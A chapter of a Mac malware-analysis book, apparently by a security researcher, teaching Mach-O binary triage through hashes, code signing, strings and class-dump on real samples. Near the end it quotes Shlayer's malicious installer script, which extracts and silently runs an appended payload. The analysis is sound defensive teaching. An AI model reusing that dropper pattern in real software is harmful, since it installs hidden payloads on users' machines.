
5
B I N A R Y  T R I A G E

In the last chapter, I introduced static analy-
sis tools and techniques and applied them to 

various nonbinary !le formats, such as distri-
bution mediums and scripts. In this chapter, we’ll 

continue our discussion of static analysis by focusing on 
Apple’s native executable !le format, the venerable  
Mach object !le format (Mach-O). As the majority of Mac malware is 
compiled into Mach-Os, all Mac malware analysts should understand the 
structure of these binaries, as at a minimum, this will allow you to differ-
entiate the benign from the malicious.

The Mach-O File Format
Like with all binary !le formats, analyzing and understanding Mach-O 
!les requires speci!c analysis tools, often culminating in the use of a 
binary disassembler. Executable binary !le formats are rather complex, 
and the Mach-O is no exception. The good news is that you’ll need only an 
elementary understanding of the format, as well as a few related concepts, 
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for malware analysis purposes. If you’re interested in gaining an even more 
exhaustive understanding of the format, see either Apple’s detailed devel-
oper documentation and SDK !les or the write-up “Parsing Mach-O Files.”1 

At a basic level, a Mach-O !le consists of three sequential parts: a 
header, load commands, and data (Figure 5-1).

Mach-O header

Load commands

Data

Figure 5-1: Layout of a Mach-O binary

The header identi!es the !le as a Mach-O format and contains other 
metadata about the binary, while the load commands contain information 
used by the dynamic loader to load the binary into memory. These are fol-
lowed by the binary’s actual instructions, variables, and other data. We’ll 
cover each of these parts in the following sections.

The Header
Mach-O !les start with a Mach-O header, which identi!es the !le as a Mach-O 
and speci!es the target CPU architecture and type of Mach-O binary. The 
header also contains the number and size of the load commands.

A Mach-O header is a structure of type mach_header_64, or for 32-bit 
binaries, mach_header, de!ned in Apple’s developer SDK !le, mach-o/loader.h 
(Listing 5-1).

struct mach_header_64 {
        uint32_t        magic;          /* mach magic number identifier */
        cpu_type_t      cputype;        /* cpu specifier */
        cpu_subtype_t   cpusubtype;     /* machine specifier */
        uint32_t        filetype;       /* type of file */
        uint32_t        ncmds;          /* number of load commands */
        uint32_t        sizeofcmds;     /* the size of all the load commands */
        uint32_t        flags;          /* flags */
        uint32_t        reserved;       /* reserved */
};

Listing 5-1: The mach_header_64 structure 

Though Apple’s comments provide a succinct description of each mem-
ber in the mach_header_64 structure let’s take a closer at the ones relevant to 
malware analysis. First is the magic member, which contains a 32-bit value that 
identi!es the !le as a Mach-O binary. For 64-bit binaries, this will be set to the 
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MH_MAGIC_64 constant (de!ned in loader.h), containing the hex value 0xfeedfacf. 
For older 32-bit binaries, Apple’s SDK !les specify other values for this magic 
constant, but you’re unlikely to encounter these when analyzing modern Mac 
malware. 

The cputype member of the structure speci!es the CPU architecture 
that is compatible with Mach-O binary. You’ll likely encounter constants 
such as I386, X86_64, or ARM64. The filetype member describes the type of 
Mach-O binary. It can have several possible values, including MH_EXECUTE 
(0x2), which identi!es a standard Mach-O executable; MH_DYLIB (0x6), which 
identi!es a Mach-O dynamic linked library; and MH_BUNDLE (0x8), which iden-
ti!es a Mach-O bundle. As the vast majority of malicious Mach-O binaries 
are standalone executables, their type will be the former: MH_EXECUTE. Next 
in the mach_header_64 structure are members that describe both the number 
and size of load command, which we’ll describe shortly. 

The otool utility can be used to parse Mach-O binaries. For example, 
to dump the header of a Mach-O binary, execute it with the -h #ag. You 
can also specify the -v #ag to instruct otool to display constants rather than 
their raw numerical values (Listing 5-2).

% otool -hv Final_Presentation.app/Contents/MacOS/usrnode 

Mach header
   magic         cputype     cpusubtype      filetype     ncmds     sizeofcmds
MH_MAGIC_64       X86_64         ALL          EXECUTE       23        3928

Listing 5-2: Viewing a Mach-O header with otool (WindTail)

As you can see, the WindTail malware is a standard Mach-O binary, com-
patible with 64-bit Intel CPUs. If you prefer a GUI interface, MachOView is 
a user-friendly utility capable of parsing Mach-O !les, including WindTail 
(Figure 5-2).2

Figure 5-2: Viewing a Mach-O header with MachOView (WindTail)

Note that a Mach-O binary contains code and data for one architecture 
only. To create a single binary that can execute on systems with different  
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architectures (like Intel 64-bit and Apple Silicon arm64), developers can 
wrap multiple Mach-O binaries in a universal, or fat, binary. For example, 
Pirrit, the !rst malware known to natively run on Apple Silicon, is compiled 
as a universal binary. As shown in Listing 5-3, it was distributed as an appli-
cation (named GoSearch22), natively supporting both Intel and ARM CPUs.

% file GoSearch22.app/Contents/MacOS/GoSearch22
GoSearch22: Mach-O universal binary with 2 architectures: 
 [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]

GoSearch22 (for architecture x86_64): Mach-O 64-bit executable x86_64
GoSearch22 (for architecture arm64):  Mach-O 64-bit executable arm64

Listing 5-3: A universal binary (Pirrit)

Universal binaries start with a header (fat_header), a variable number 
of fat_arch structures that describe the supported architectures, and then 
the architecture-speci!c Mach-O binaries concatenated together. You can 
dump the fat_header by using the otool utility with the -f #ag. In Listing 5-4 
you can see that Pirrit’s fat header starts with the FAT_MAGIC constant (the 
hex value 0xcafebabe). Following this are the two fat_arch structures for the 
architectures it natively supports, Intel x86_64 and ARM arm64. The offset 
member of the structure tells the loader where to !nd the architecture-
speci!c Mach-O binary. 

% otool -fv GoSearch22.app/Contents/MacOS/GoSearch22 
Fat headers
fat_magic FAT_MAGIC
nfat_arch 2
architecture x86_64
    cputype CPU_TYPE_X86_64
    cpusubtype CPU_SUBTYPE_X86_64_ALL
    offset 4096
    size 414368
    ...
architecture arm64
    cputype CPU_TYPE_ARM64
    cpusubtype CPU_SUBTYPE_ARM64_ALL
    offset 425984
    size 521632
    ...

Listing 5-4: Viewing a fat header with otool -f (Pirrit)

When a universal binary is run, the operating system automatically 
selects the architecture compatible with the host. For example, when Pirrit 
is run on a 64-bit Intel system, the x86_64 Mach-O version of the binary 
(which you’ll recall is embedded directly within the universal binary) is 
run. The embedded architecture-speci!c binaries should be functionally 
identical, so as a malware analyst, you may choose whichever architecture 
you’re more comfortable with analyzing, or whichever Mach-O binary will 
run on your analysis system. To extract an architecture-speci!c Mach-O 
binary from a universal binary, use macOS’s lipo tool. (Yes, clearly Apple 
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engineers have some humor.) Run it with the -thin #ag and the architecture 
you’d like to extract. For example, in Listing 5-5 we extract the Intel version 
of the Pirrit variant from its universal binary. And for good measure, we 
also con!rm this architecture-speci!c extraction with the file utility. 

% lipo GoSearch22.app/Contents/MacOS/GOSearch22 -thin x86_64 -output GoSearch22_INTEL

% file GoSearch22_INTEL
GoSearch22_INTEL:  Mach-O 64-bit executable x86_64

Listing 5-5: Extracting a Mach-O from a universal binary with lipo (Pirrit)

The Load Commands
Directly following the Mach-O header are the binary’s load commands, which 
tell the dynamic loader (dyld) how to load and link the binary in memory. 
Among other information, the load commands can specify required dynamic 
libraries, the binary’s in-memory layout, and the initial execution state of the 
program’s main thread. You can view a Mach-O binary’s load commands with 
otool using the -l #ag (Listing 5-6). 

% otool -lv Final_Presentation.app/Contents/MacOS/usrnode 
...
Load command 1
      cmd LC_SEGMENT_64
  cmdsize 952
  segname __TEXT
   vmaddr 0x0000000100000000
   vmsize 0x0000000000013000
  fileoff 0
 filesize 77824
  maxprot rwx 
 initprot r-x
   nsects 11
    flags (none)
...

Listing 5-6: Viewing load commands with otool (WindTail)

Listing 5-6 shows a load command describing the __TEXT segment, which 
contains executable binary instructions. 

Load commands all begin with a load_command structure, de!ned in 
mach-o/loader.h. The cmd member describes the type of load command, while 
you’ll !nd the size of the load command in cmdsize (Listing 5-7). 

struct load_command {
        uint32_t cmd;           /* type of load command */
        uint32_t cmdsize;       /* total size of command in bytes */
};

Listing 5-7: The load_command structure (Pirrit)

Immediately after this load_command structure is the corresponding 
load command’s data, which is speci!c to the type of load command 
(Figure 5-3). 
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struct load_command
{
  uint32_t cmd;
  uint32_t cmdsize;
};

Load command data

Figure 5-3: The layout of a  
load command

As we’re covering the Mach-O !le format for the purpose of malware 
analysis, we won’t cover all supported load commands. However, several are 
quite pertinent, and we’ll review those here. 

LC_SEGMENT_64
One common type of load command is LC_SEGMENT_64 (or LC_SEGMENT for 
32-bit binaries), which describes a segment. For a given range of bytes in a 
Mach-O binary, a segment provides required information for the loader, 
such as the memory protections those bytes should have when mapped into 
virtual memory. LC_SEGMENT_64 load commands contain all the relevant infor-
mation for the dynamic loader to map the segment into memory and set its 
memory permissions. You’ll likely encounter, amongst others, the following 
three segments while analyzing Mach-O binaries: 

• __TEXT: Contains executable code and data that is read-only 
• __DATA: Contains data that is writable 
• __LINKEDIT: Contains information for the dynamic loader, for both link-

ing and binding symbols

If the binary was written in Objective-C, it may have an __OBJC segment 
that contains information used by the Objective-C runtime, though this 
information might also be found in the __DATA segment within various 
__objc_* sections. Segments can contain multiple sections, each containing 
code or data of the same type.

Once a binary is loaded into memory (by the dynamic loader), execu-
tion begins at the binary’s entry point. The entry point is found in the 
LC_MAIN load command, discussed next.

LC_MAIN
The LC_MAIN load command is a structure of type entry_point_command 
(Listing 5-8):

struct entry_point_command {
    uint32_t  cmd;      /* LC_MAIN only used in MH_EXECUTE filetypes */
    uint32_t  cmdsize;  /* 24 */
    uint64_t  entryoff; /* file (__TEXT) offset of main() */
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    uint64_t  stacksize; /* if not zero, initial stack size */
};

Listing 5-8: The entry_point_command structure 

For the purposes of malware analysis, the most important member in 
the entry_point_command structure is entryoff, which contains the offset of 
the binary’s entry point. At load time, the dynamic loader simply adds this 
value to the in-memory base of the binary, and then jumps to this instruc-
tion to begin execution of the binary’s code.3 Often, when performing a 
detailed analysis of a malicious binary, analysis will begin at this location. 

The LC_MAIN load command replaces the deprecated LC_UNIXTHREAD load 
command, which you might still come across if you’re analyzing older 
Mach-O binaries. The LC_UNIXTHREAD load command contains the entire con-
text, or register values, of the initial thread. In this context, the program 
counter register contains the address of the binary’s initial entry point. 

Lastly, a Mach-O binary can contain one or more constructors that will 
be executed before the address speci!ed in LC_MAIN. The offsets of any con-
structors are held in the __mod_init_func section of the __DATA_CONST segment. 
More on this topic shortly, but be aware when analyzing Mac malware that 
execution may begin within such a constructor, prior to the binary’s main 
entry point (LC_MAIN).

LC_LOAD_DYLIB
The LC_LOAD_DYLIB load command describes a dynamic library dependency, 
and it instructs the dynamic loader to load and link a certain library. You’ll 
!nd an LC_LOAD_DYLIB load command for each library the Mach-O binary 
requires. 

This load command is a structure of type dylib_command, which itself con-
tains a dylib structure that describes the dynamic library (Listing 5-9).

struct dylib_command {
    uint32_t cmd;                       /* LC_LOAD_{,WEAK_}DYLIB */
    uint32_t cmdsize;                   /* includes pathname string */
    struct dylib dylib;                 /* the library identification */ 
};

struct dylib {
    union lc_str name;                  /* library's path name */
    uint32_t timestamp;                 /* library's build time stamp */
    uint32_t current_version;           /* library's current version number */
    uint32_t compatibility_version;     /* library's compatibility vers number */
};

Listing 5-9: The dylib_command and dylib structures

You can parse a Mach-O binary’s LC_LOAD_DYLIB load command in order 
to view the binary’s dependencies. To do so, use the otool utility with the  
-L #ag or MachOView. 

From a malware analysis point of view, a binary’s LC_LOAD_DYLIB load 
commands can shed insight into the capabilities of the malware. For 
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example, a binary that contains an LC_LOAD_DYLIB load command that ref-
erences the DiskArbitration library may be interested in low-level access 
to disks, perhaps to monitor USB drives and ex!ltrate !les from them. A 
dependency on the AVFoundation library may indicate that the malware will 
capture audio and video from infected systems. 

Note that you should closely examine a binary’s dependencies, too, as 
one of these dependent libraries could be malicious. For example, in late 
2021, malware known as ZuRu was discovered, spreading via legitimate 
application binaries that had been surreptitiously trojanized by the addi-
tion of a new dependency. In the following otool output, the !nal depen-
dency, libcrypto.2.dylib is actually the ZuRu malware (Listing 5-10):

% otool -L iTerm.app/Contents/MacOS/iTerm2
/usr/lib/libaprutil-1.0.dylib 
/usr/lib/libicucore.A.dylib 
/usr/lib/libc++.1.dylib 
...
/usr/lib/libz.1.dylib 
@executable_path/../Frameworks/libcrypto.2.dylib 

Listing 5-10: Dependencies of a trojanized iTerm application (ZuRu)

The malware author added this dynamic library to what is otherwise a 
legitimate version of the iTerm application. The now trojanized application 
had been re-signed, arousing suspicions; later, comparing it to a pristine 
version of iTerm revealed the additional, malicious dependency. If you’re 
interested in learning more about this attack, see my write-up “Made in 
China: OSX.ZuRu.”4

The Data Segment
Following the load commands is the rest of the Mach-O binary, which 
largely consists of the actual binary code. This data is organized into the 
segments described by the LC_SEGMENT_64 load commands. These segments 
can contain multiple sections, each of which contains code or data of the 
same type. For example, the aforementioned __TEXT segment contains 
executable code and data that is read-only. Common sections within this 
segment may include 

• __text: Compiled binary code
• __const: Constant data
• __cstring: String constants 

On the other hand, the __DATA segment contains data that is writeable. 
A few of the more common sections within this segment include

• __data: Global variables (those that have been initialized)
• __bss: Static variables (those that have not been initialized)
• __objc_* (__objc_classlist, __objc_protolis): Information used by the 

Objective-C runtime 
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Now that you have an elementary understanding of the Mach-O !le 
format, let’s focus our attention on tools and techniques that aim to answer 
the question forever faced by malware analysts: Is a given Mach-O binary 
malicious?

Classifying Mach-O Files
Generally speaking, the !rst goal of malware analysis is to classify a sam-
ple as either benign, malicious but known, or malicious and previously 
unknown. If a sample turns out to be benign, then hooray: you’re done! 
In the context of malware analysis, there is generally no point to continue 
analyzing a legitimate and benign piece of software. If a sample is malicious 
but known, you’re likely done as well, unless you’re analyzing the sample for 
educational purposes, because other researchers who have studied the 
sample will often have published analysis reports. However, if you deter-
mine the sample is malicious and appears to either be a new variant or 
an entirely new specimen, the fun begins! Time for a deeper analysis.

The ability to classify samples ef!ciently is key to your success. I speak 
from experience when I say that spending several days analyzing a sample only 
to !nd out it is a well-known piece of malware can be frustrating. Due to their 
readability, it is often quite easy to classify scripts and other nonbinary !le 
formats as either benign or malicious. On the other hand, classifying and ana-
lyzing binary !les, such as Mach-Os, often requires the use of speci!c analysis 
tools. A fundamental understanding of the binary’s !le format helps as well.

To effectively classify a Mach-O binary as malicious or benign, you can 
start by extracting and analyzing various !le attributes, such as hashes, 
code-signing information, and embedded strings. If you can’t determine if 
a sample is benign or malicious by using these elementary tools and tech-
niques, you may require more comprehensive tools, such as a disassembler, 
which we’ll cover in Chapter 6. 

Hashes
One of the simplest ways to determine if a Mach-O binary is known to be 
benign or malicious is to compute and look up its hash online. Public repos-
itories of malware most commonly use the hashing algorithm MD5 or the 
SHA family of hashing algorithms. As macOS ships with built-in utilities for 
computing such hashes, it’s trivial to determine the hashes of any sample. 
In Listing 5-11, we use these tools (md5 and shasum), to generate both the MD5 
and SHA-1 hash of a Mach-O binary called usrnode found within a suspicious 
application bundle:

% md5 Final_Presentation.app/Contents/MacOS/usrnode 
MD5 (usrnode) = c68a856ec8f4529147ce9fd3a77d7865

% shasum -a 1 Final_Presentation.app/Contents/MacOS/usrnode
758f10bd7c69bd2c0b38fd7d523a816db4addd90  usrnode

Listing 5-11: Computing hashes with md5 and shasum (WindTail)
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If you’re more comfortable using a GUI utility, the WYS tool introduced 
in Chapter 4 can compute MD5 and various SHA-* hashes of !les. 

Once you’ve determined the binary’s hash, look it up online. For 
example, searching for usrnode’s MD5 hash readily con!rms the binary is 
indeed the WindTail malware (Figure 5-4).

Figure 5-4: Leveraging Google to identify a malicious file from its hash (WindTail)

Searching for this same hash on VirusTotal (https://www.virustotal.com/), 
a free online antivirus scanning portal with a large collection of scan results, 
also con!rms this identi!cation (Figure 5-5).

Figure 5-5: Leveraging VirusTotal to identify a malicious file from its hash (WindTail)

If the goal was to simply classify the binary as benign or malicious, 
we’ve just accomplished this via the binary’s hash. Moreover, by its hash 
alone, we were able to con!rm the identity of the malware as WindTail. We 
should note that hashes are quite brittle, as any change to a !le will result 
in a completely different hash. As such, if a malware author modi!es even 
a single bit in the binary, you may !nd no online hash matches. Thus, if you 
don’t !nd a hash match, don’t use this fact to classify the !le as non-malicious! 
Instead, turn to other analysis tools and techniques. 

I’ve noted that hashes can also be helpful in classifying a binary as 
benign. The idea is roughly the same: compute the hash and search for 
it online (or in various “goodware” collections as such as NIST’s National 
Software Reference Library5). If it’s found and identi!ed by a trusted 
source as a benign binary, more than likely it is. However, there’s a better 

https://www.virustotal.com/
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way to ascertain if a binary should be trusted: examining its code-signing 
information. 

Code-Signing Information
Due to macOS security mechanisms such as Gatekeeper and notarization 
requirements, most software on macOS is now signed. This allows users 
(and malware analysts) to con!rm that the software has come from a known 
source and has not been modi!ed. In the context of malware analysis, rel-
evant code-signing information includes the status of the signing certi!cate, 
code-signing authorities, and the team identi!er. A signing certi!cate in poor 
standing (for example, one that has been revoked) is a likely indicator of 
misuse. Code-signing authorities describe the chain of signers, which can pro-
vide insight into the origin and trustworthiness of the signed item. Finally, the 
optional team identi!er speci!es the team or company that created the signed 
item. In the case where the team identi!er speci!es a known and reputable 
company, this expresses trustworthiness of a signed item. On the other hand, 
if a signed item proves to be malicious, a team identi!er can be used to tie it 
to, or even uncover, unrelated malware created by the same attackers.

By extracting the code-signing information of signed Mach-O bina-
ries, you may be able to quickly verify that an unknown binary is benign. 
For example, if a binary is signed by Apple proper (“Apple Code Signing 
Certi!cation Authority”), you can rest assured that the binary is not mali-
cious. On the other hand, if a binary is unsigned or claims to be from a 
well-established company but isn’t signed by that company, you have cause 
for further analysis. As an example of the latter, the CreativeUpdate mal-
ware that propagated via a trojanized Firefox application was signed not by 
Mozilla but instead with a personal Apple developer identi!er fraudulently 
obtained by the malware authors. 

Like with hashes, you can research code-signing information online 
and in some cases match unknown !les to known malware. For example, 
searching for the aforementioned usrnode binary’s code-signing team identi-
!er quickly brings up results associated with the WindShift malware family 
that includes WindTail (Figure 5-6).

Figure 5-6: Leveraging Google to identify a malicious file via its code-signing  
team identifier (WindTail)
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Finally, if a Mach-O binary is signed but Apple has revoked its certi!-
cate, you should treat this as a rather massive red #ag, and it almost  
certainly indicates that the binary is malicious. 

You can extract code-signing information from a Mach-O binary with 
Apple’s codesign utility using the -dvv #ags (Listing 5-12).

% codesign -dvv Final_Presentation.app/Contents/MacOS/usrnode
Executable=Final_Presentation.app/Contents/MacOS/usrnode
Identifier=com.alis.tre
Format=app bundle with Mach-O thin (x86_64)

1 Authority=(unavailable)
   TeamIdentifier=95RKE2AA8F
   ...

Listing 5-12: Viewing code-signing information for a self-signed file with codesign (WindTail)

As you can see, this WindTail sample is signed but has no signing 
authorities 1. This indicates that the sample is self-signed, and self-signed 
binaries are rarely legitimate. By contrast, take a look at the following legiti-
mate Mach-O binary for Apple’s built-in Calculator application. The codesign 
output shows the full signing authority chain (Listing 5-13).

% codesign -dvv Calculator.app 
Executable=Calculator.app/Contents/MacOS/Calculator
1 Identifier=com.apple.calculator 
Format=app bundle with Mach-O universal (x86_64 arm64e)
2 Authority=Software Signing 
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
...

Listing 5-13: Viewing code-signing information for an Apple application with codesign

Legitimate Apple platform binaries will contain an identi!er that is 
pre!xed with com.apple 1 and be signed with a code-signing authority 
chain, as shown in Listing 5-13 2. 

Signed third-party applications should have a binary signed with 
an Apple Developer ID. In Listing 5-14, note the Developer ID for the 
Microsoft Word application, which con!rms it indeed was created and 
signed by Microsoft.

% codesign -dvv Microsoft/Applications/Microsoft Word.app 
Executable=Microsoft Word.app/Contents/MacOS/Microsoft Word
Identifier=com.microsoft.Word
...
Authority=Developer ID Application: Microsoft Corporation (UBF8T346G9)
Authority=Developer ID Certification Authority
Authority=Apple Root CA

TeamIdentifier=UBF8T346G9
...

Listing 5-14: Viewing code-signing information for a third-party application with codesign
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However, as the majority of Mac malware is signed with an Apple devel-
oper identi!er, don’t assume a binary is benign if it is signed in this man-
ner. Instead, examine the code-signing authority, and if provided, the team 
identi!er. In Listing 5-14, the application is validly signed with an Apple 
developer identi!er and contains a team identi!er, both of which belong 
to Microsoft, so you can be con!dent that the application was created by 
Microsoft, and thus is not malicious. 

As discussed in Chapter 1, Apple recently introduced notarization 
requirements on software distributed by third-party developers via the 
internet. As Apple will only notarize items that it has scanned and decided 
are not malicious, checking if an item is notarized (or not!) can help you 
decide if an item is benign or malicious. Moreover, the vast majority of 
legitimate third-party software should be notarized, whereas malware (in 
theory) will not be. 

To check if an item is notarized, use the codesign utility with the --test 
-requirement="=notarized" and --verify command line arguments, or the 
spctl utility.6 In Listing 5-15, we use the latter to con!rm that the Microsoft 
Word application is indeed notarized. 

% spctl -a -v /Applications/Microsoft Word.app 
/Applications/Microsoft Word.app: accepted
source=Notarized Developer ID

Listing 5-15: Viewing the notarization status of a file via spctl

A word of caution: in rare cases, Apple has inadvertently notarized 
malicious code!7 Don’t solely rely on the notarization status of an item when 
classifying it as either malicious or benign. 

Finally, codesign will simply display code object is not signed at all for 
unsigned Mach-O binaries. As most legitimate software is now signed and 
notarized, unsigned code should be treated as somewhat suspect until a 
comprehensive analysis has con!rmed otherwise. 

I mentioned earlier that if Apple has revoked the code-signing certi!-
cate used to sign a Mach-O, this likely means that Apple deemed the binary 
to be malicious. Using the codesign utility with the -v command line #ag, 
you can check the status of a binary’s code-signing certi!cate. If a certi!-
cate has been revoked, the utility will display CSSMERR_TP_CERT_REVOKED. As 
an example, let’s examine the code-signing information for the WindTail 
binary, noting that the code-signing certi!cate has now been revoked 
(Listing 5-16):

% codesign -v Final_Presentation.app/Contents/MacOS/usrnode 
Final_Presentation.app/Contents/MacOS/usrnode: CSSMERR_TP_CERT_REVOKED

Listing 5-16: Viewing the certificate status of a file with codesign (WindTail)

You can also use the WYS tool to extract code-signing information. 
Code-signing is an important but involved topic. To learn more, see “Code 
Signing—Hashed Out” and “macOS Code Signing In Depth.”8
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Strings
Though the Mach-O !le format isn’t directly readable by mere mortals, you 
might still !nd nonbinary data within it, such as strings or sequences of 
printable characters. Using the aptly named strings utility, you can easily 
extract such embedded strings from a compiled Mach-O binary, whether 
they be method or function names, debug or error messages, or hardcoded 
paths and URLs. These strings can provide valuable insight into the capa-
bilities of the binary being analyzed.

When extracting strings from a binary, always run strings with the 
- #ag to instruct the utility to scan the entire !le. Otherwise strings will 
scan only certain sections. Also, the strings utility can only scan for ASCII 
strings, so it might miss Unicode strings. For that reason, you might instead 
use a Unicode-aware utility, such as FLOSS.9

By design, the strings utility is fairly simple; all it does is display sequences 
of printable characters. As such, it will output many random sequences of 
binary values that just happen to be printable, and you’ll have to sift through 
the results to !nd strings of interest. Listing 5-17 shows part of the output 
from strings when run on WindTail’s usrnode binary:

% strings - Final_Presentation.app/Contents/MacOS/usrnode
...

1 GenrateDeviceName 
m_ComputerName_UserName
m_uploadURL

2 BouCfWujdfbAUfCos/iIOg== 
Bk0WPpt0IFFT30CP6ci9jg==
RYfzGQY52uA9SnTjDWCugw==
XCrcQ4M8lnb1sJJo7zuLmQ==
3J1OfDEiMfxgQVZur/neGQ==
Nxv5JOV6nsvg/lfNuk3rWw==
Es1qIvgb4wmPAWwlagmNYQ==

3 /usr/bin/zip 
/usr/bin/curl

Listing 5-17: Extracting embedded strings with strings (WindTail)

In this output, we !nd function names and variables that, based on 
their names, appear to be related to survey logic 1. Following this are base64-
encoded strings, likely obfuscated to hide some sensitive content 2. Finally, we 
!nd paths to various macOS utilities (used to compress and upload or down-
load !les) 3.

Solely based on strings embedded within the binary, it seems likely the 
malware is designed to survey and steal !les from an infected system. In 
fact, if we search online for some of the more unique strings, such as the 
misspelled GenrateDeviceName, we !nd a detailed report on WindTail (created 
by the WindShift APT group) con!rming its !le ex!ltration capabilities 
(Figure 5-7).
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Figure 5-7: Leveraging Google to identify malware via embedded strings (WindTail)

Before wrapping up our discussion of the strings utility, it is important 
to note that malware authors can, of course, spoof or obfuscate embedded 
strings (such as variable and method names) in an attempt to thwart or 
mislead an initial triage. Thus, any conclusions solely based on embedded 
strings should be validated with other analysis methods or tools, such as via 
a disassembler.

Objective-C Class Information
The majority of Mach-O malware is written in Objective-C. Why is this 
a good thing for malware analysts? Simply put, programs written in 
Objective-C retain their class declarations when compiled into binaries. 
These class declarations include the name and type of the class, the class 
methods, and the class instance variables. This means we can extract the 
names the author used when writing the malware from the compiled 
binary. Similar to embedded printable strings, these provide valuable 
insight into many aspects of the malware, such as its capabilities. Moreover, 
we can extract this information ef!ciently, without having to understand 
any binary code!

Objective-C class information will show up in the output of the aforemen-
tioned strings command. However, the tools mentioned in this section are 
speci!cally designed to extract and reconstruct embedded Objective-C class 
information and provide a representation far closer to the original source 
code. One proven favorite is the class-dump utility created by Steve Nygard.10 
Here, for example, we use class-dump to extract class information from 
HackingTeam’s persistent Mac backdoor, Crisis (Listing 5-18):

% class-dump RCSMac.app
...

@interface __m_MCore : NSObject
{
    NSString *mBinaryName;
  1 NSString *mSpoofedName;
}

- (BOOL)getRootThroughSLI;
- (BOOL)isCrisisHookApp:(id)arg1;
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- (BOOL)makeBackdoorResident;
- (void)renameBackdoorAndRelaunch;
@end

Listing 5-18: Reconstructing embedded class information with class-dump (Crisis)

Without having to understand the syntax of Objective-C class declara-
tions, we can consider instance variables and method names alone to ascertain 
that this binary is likely malicious and gain insight into its logic. For example, 
based on the method names getRootThroughSLI and makeBackdoorResident, it is 
likely that the malware attempts to elevate its privileges to root and persist a 
backdoor component (perhaps with a spoofed name 1).

The output from class-dump can also provide valuable input for more 
involved analysis methods, such as disassembling or debugging the 
binary. For example, if we’re attempting to !gure out how Crisis persists, 
it would seem prudent to begin our analysis with the method named 
makeBackdoorResident.

Another malware specimen that readily spills its secrets to class-dump is 
the Russian XAgent (Listing 5-19):

% class-dump XAgent

@interface MainHandler : NSObject
...
- (void)sendKeyLog:(id)arg1;
- (void)takeScreenShot;
- (void)execFile;
- (void)remoteShell;
- (void)getProcessList;
@end

Listing 5-19: Reconstructing embedded class information with class-dump (XAgent)

Based on method names alone, we can extrapolate the malware’s likely 
features and capabilities. Of course, you should con!rm this through other 
analysis tools or methods.

“Nonbinary” Binaries
In the next chapter we’ll dive into “hardcore” binary analysis, such as using 
a disassembler to read assembly code. However, there are times when you 
can avoid this rather time-consuming and complex approach altogether. In 
some instances, the binary under analysis is actually a container for what is 
normally nonbinary code, like a Python script. 

The main reason authors package nonbinary malware into native 
macOS binaries or applications is to facilitate distribution and user-assisted 
infection. Imagine that a malware author has written a cross-platform 
backdoor in Python. To target macOS users, it makes a lot of sense to wrap 
the Python code into an application natively supported by the operating 
system. As all Mac users are familiar with applications, they may be more 
easily tricked into running the malicious script with a single double-click. 
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On the other hand, if the author distributed the malware as a raw Python 
script, the average user would be confused and probably unable to run the 
malware, even if they wanted to.

Identifying the Tool Used to Build the Binary
Some tools used to build binaries and applications from nonbinary compo-
nents include:

• Appify: Packages shell scripts into macOS applications by wrapping 
them into a bare-bones application bundle and setting the script as the 
application’s main executable. An example of malware that appears to 
have been built with Appify is Shlayer.11

• Platypus: Packages shell scripts into macOS applications by wrapping 
them in an application bundle and including an app binary that runs 
the script. Examples of malware built with Platypus include Eleanor 
and CreativeUpdate.12

• PyInstaller: Packages Python scripts into executables. An example of 
malware built with PyInstaller is GravityRAT.13

• Electron: Creates applications using web technologies, including 
JavaScript, HTML, and CSS. Examples of malware built with Electron 
include certain variants of GravityRAT and ElectroRAT.14

Shortly we’ll look at malware samples that abused these legitimate 
packaging tools and frameworks and you’ll see how to extract their origi-
nal nonbinary components. Once these components have been extracted, 
analysis often becomes rather straightforward, as the nonbinary code is 
human-readable.

First, though, you may be wondering how, given an arbitrary binary, you 
can determine if it was created with one of these tools, and if so, which one. 
After all, the extraction procedures are speci!c to the method used to build 
or package it up. Fortunately, once you know what to look for, determining 
this information is easy. 

If an application was created via Appify, it will not contain an Info.plist 
!le. Instead, you’ll !nd a script in the application’s Contents/MacOS direc-
tory whose name matches that of the application.

When scripts are packaged via Platypus, the script is placed directly 
into the application bundle, and you can !nd it in the application’s 
Contents/Resources/ directory as a !le named script. Thus, if you come across  
an application that contains Contents/Resources/script, it’s likely a “platypussed” 
application.

It’s fairly easy to identify binaries built with PyInstaller by exam-
ining embedded strings or function names. (The embedded string 
Py_SetPythonHome is a good indicator.) The next chapter covers disassem-
bling Mach-O binaries, but it’s worth noting here that the disassembly of a 
binary’s main function can also provide a way to determine if it was built with 
PyInstaller. How? Simple! The main function calls into PyInstaller’s entry 
point, pyi_main (Listing 5-20).
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void main() {
   pyi_main(rdi, rsi, rdx, rcx, r8, r9);
   return;
}

Listing 5-20: A binary invoking PyInstaller’s entry point 

Applications that were built with Electron will be linked against a 
framework called Electron Framework.framework. Moreover, you can !nd the 
nonbinary components, which are generally JavaScript !les, in the applica-
tion’s Contents/Resources/ directory, saved as .asar !les. 

It’s important to note that these tools are legitimate, and many developers 
use them to generate safe applications. Don’t assume a binary or application 
is malicious solely because it was packaged up for distribution by one of these 
tools.

Extracting the Nonbinary Component
Let’s now look at various malware samples packaged up using these tools 
and see exactly how to extract their nonbinary components. 

In early 2021, a variant of Shlayer was discovered spreading via poi-
soned search engine results.15 As it was a simple application bundle missing 
an Info.plist !le, and other than an icon !le only contained a script (whose 
name, 1302, matched the application’s), it was likely packaged up via Appify 
(Figure 5-8). 

Figure 5-8: A simple script-based application, likely built via Appify (Shlayer)

As Appify directly adds the scripts, as is, to the application bundle, no 
special tools are required to extract the script for analysis. And since it’s 
a script, analysis can commence without the use of any fancy binary static 
analysis tools (Listing 5-21). 

% file 1302.app/Contents/MacOS/1302 
1302.app/Contents/MacOS/1302: Bourne-Again shell script executable (binary 
data)

% cat 1302.app/Contents/MacOS/1302 
#!/bin/bash
1 TEMP_NAME="$(mktemp -t Installer)"
2 tail -c 58853 $0 | funzip -1uD9jgw > ${TEMP_NAME}
3 chmod +x "${TEMP_NAME}" && nohup "${TEMP_NAME}" > /dev/null 2>&1 &
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killall Terminal
exit
PK^C^D^T^@...

Listing 5-21: A malicious installer script (Shlayer)

After creating a temporary !lename 1, the malware unzips password-
protected data found at the end of the script into this temporary !le 2. It then 
makes this !le executable and launches it 3. Continued analysis identi!ed this 
embedded payload as the well-known Bundlore malware. Interestingly (and 
completely unintentionally), applications created by Appify would inadvertently 
trigger a logic #aw in macOS, allowing such applications to bypass various 
security mechanisms, such as Gatekeeper and notarization requirements!16

In early 2018, the popular application website MacUpdate posted an 
alert notifying visitors that certain links on the site had been subverted to 
